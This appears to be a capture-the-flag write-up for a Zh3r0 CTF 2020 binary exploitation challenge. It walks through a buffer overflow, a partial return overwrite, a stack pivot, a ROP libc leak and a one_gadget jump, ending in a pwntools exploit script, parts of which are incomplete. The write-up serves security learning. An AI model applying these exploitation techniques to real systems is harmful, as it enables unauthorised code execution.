Zh3r0 CTF 2020


We're given a binary with a few useful functions. The first of which:

void ok(void)
  ssize_t sVar1;
  undefined local_28 [32];
  puts("Hello world.");
  g = g + 1;
  if (g == idontknow) {
    sVar1 = read(0,local_28,0x29);
    if (sVar1 == 0) {
      puts("Why couldn\'t you help me.? ");
Note that no stack space is actually allocated for sVar1

What we have here is a read of up to 41 (0x29) bytes into a 32 byte buffer, giving us a 9 byte buffer overflow. This allows us to control rbp and the last byte of the return address.

00:0000│ rsp  0x7fffffffe3f8 —▸ 0x4007e5 (helphelp+14) ◂— nop
01:0008│ rbp  0x7fffffffe400 —▸ 0x7fffffffe410 —▸ 0x7fffffffe420 —▸ 0x7fffffffe430 —▸ 0x7fffffffe440 ◂— ...
Stack when ok+92 (ret) is executed

We can use the buffer overflow to change the last byte of 0x4007e5 to 0x17, resulting in the function returning to 0x400717 which leads us to finallyyouhelpedme:

void finallyyouhelpedme(void)
  size_t __n;
  undefined local_28 [32];
  __n = strlen(msg);
  write(1,"Why did you help me.? You must be a good person.\n",__n);
  puts("Thanks for helping.? WHat\'s your name? ");
Note that again, no stack space is allocated for __n
Dump of assembler code for function finallyyouhelpedme:
   0x0000000000400717 <+0>:     push   rbp
   0x0000000000400718 <+1>:     mov    rbp,rsp
   0x000000000040071b <+4>:     sub    rsp,0x20
   0x000000000040071f <+8>:     lea    rdi,[rip+0x20095a]        # 0x601080 <msg>
   0x0000000000400726 <+15>:    call   0x4005f0 <strlen@plt>
   0x000000000040072b <+20>:    mov    rdx,rax
   0x000000000040072e <+23>:    lea    rsi,[rip+0x233]        # 0x400968
   0x0000000000400735 <+30>:    mov    edi,0x1
   0x000000000040073a <+35>:    call   0x4005e0 <write@plt>
   0x000000000040073f <+40>:    mov    edx,0x64
   0x0000000000400744 <+45>:    lea    rsi,[rip+0x2009b5]        # 0x601100 <helpishere>
   0x000000000040074b <+52>:    mov    edi,0x0
   0x0000000000400750 <+57>:    call   0x400610 <read@plt>
   0x0000000000400755 <+62>:    lea    rdi,[rip+0x244]        # 0x4009a0
   0x000000000040075c <+69>:    call   0x4005d0 <puts@plt>
   0x0000000000400761 <+74>:    lea    rax,[rbp-0x20]
   0x0000000000400765 <+78>:    mov    edx,0x40
   0x000000000040076a <+83>:    mov    rsi,rax
   0x000000000040076d <+86>:    mov    edi,0x0
   0x0000000000400772 <+91>:    call   0x400610 <read@plt>
   0x0000000000400777 <+96>:    nop
   0x0000000000400778 <+97>:    leave
   0x0000000000400779 <+98>:    ret

This is actually useful! We can write 100 bytes of arbitrary data to a fixed address helpishere (no PIE), then we can read 64 bytes into a 32 byte buffer, giving us a 32 byte buffer overflow.

Since we'll need a bit more than 32 bytes to do anything useful, we can take advantage of the 100 bytes we can write at helpishere - perform a stack pivot and point rsp at helpishere.

To do this, we take advantage of leave, which is equivalent to mov rsp, rbp; pop rbp. The plan of attack is as follows:

  1. Using the buffer overflow in finallyyouhelpedme, write 0x601100 (address of helpishere) and 0x400778 (address of leave; ret gadget) to the stack
  2. Returning from finallyyouhelpedme the first time will result in rbp=0x601100, rip=0x400778 as leave; ret runs for the first time
  3. Executing leave; ret a second time will then result in rsp=0x601100, treating whatever data we wrote into helpishere as a stack frame. Note that the implicit pop rbp in leave and ret will also start reading data from helpishere

We can then use return-oriented programming to leak the address of a function in libc (the functions in pwntools makes it very easy!). My first attempt to leak the address by calling puts results in a segmentation fault, so I used write(STDOUT, address) instead. Although no gadget is available to set rdx, the length parameter to write, it turns out the current value of rdx is good enough to leak the address (and a whole lot of junk after).

Having leaked the address of a function in libc, we can calculate the base address of libc, then calculate the address of a one_gadget.

But how do we actually redirect execution to the one gadget? Well, we could tack on 0x400761 to the end of the ROP chain above. This reads more data onto the stack again, which ret at 0x400779 conveniently pops from. (The offset of 40 in the script below was identified by writing in a De Bruijn sequence and observing what value gets written into rip).

from pwn import  *


BINARY = "./chall2"

# r = process(BINARY)
r = remote('asia.pwn.zh3r0.ml', 7412)
libc = ELF('libc.so.6')

gdb.attach(r, """
    # b *finallyyouhelpedme+97

p = lambda x: p64(x).decode("latin-1")

# BOF at ok, overwrite last byte of return address to jump to `finallyyouhelpedme`
r.send("A" * 40 + '\x17')

# create fake stack frame
payload =  p(e.symbols["helpishere"])               # next rbp

rop = ROP(e)
rop.write(1, e.got["puts"])

payload += rop.chain().decode("latin-1")
payload += p(0x400761)                              # jump back to enable second BOF to make use of leak
log.info(f'Payload length: {len(payload)}')
r.sendafter("good person.", payload)

# BOF to actually start reading from fake stack frame
payload =  "A" * 32
# rbp = *helpishere
payload += p(e.symbols["helpishere"])
# rip = `leave; ret;`
payload += p(0x400778)
# after second `leave`, rsp = *helpishere+8
r.sendafter("your name? \n", payload)

# read the address leaked by the fake stack frame
addr_puts = u64(r.recv(6) + b'\x00\x00')

# compute address of one gadget, then BOF again to jump to it
libc.address = addr_puts - libc.symbols["puts"]
log.info(f'libc base address={hex(libc.address)}')

r.sendline("A" * 40 + p(libc.address + OFFSET_GADGET))